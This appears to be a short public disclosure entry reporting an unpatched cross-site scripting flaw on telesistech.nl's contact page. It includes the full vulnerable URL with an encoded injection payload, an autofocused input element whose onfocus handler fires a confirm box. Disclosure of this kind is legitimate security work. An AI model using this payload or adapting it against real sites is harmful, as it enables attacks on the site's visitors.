telesistech.nl XSS vulnerability

Vulnerable URL: http://www.telesistech.nl/contact/contact.php?⊂=Telesis%20produkt%20videos%3C!%27/!%22/!%27/%22/--!%3E%3CInput/Type=Text%20AutoFocus%20/;%20OnFocus=confirmOPENBUGBOUNTY%20//%3E%3CSvg%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 21.11.2017...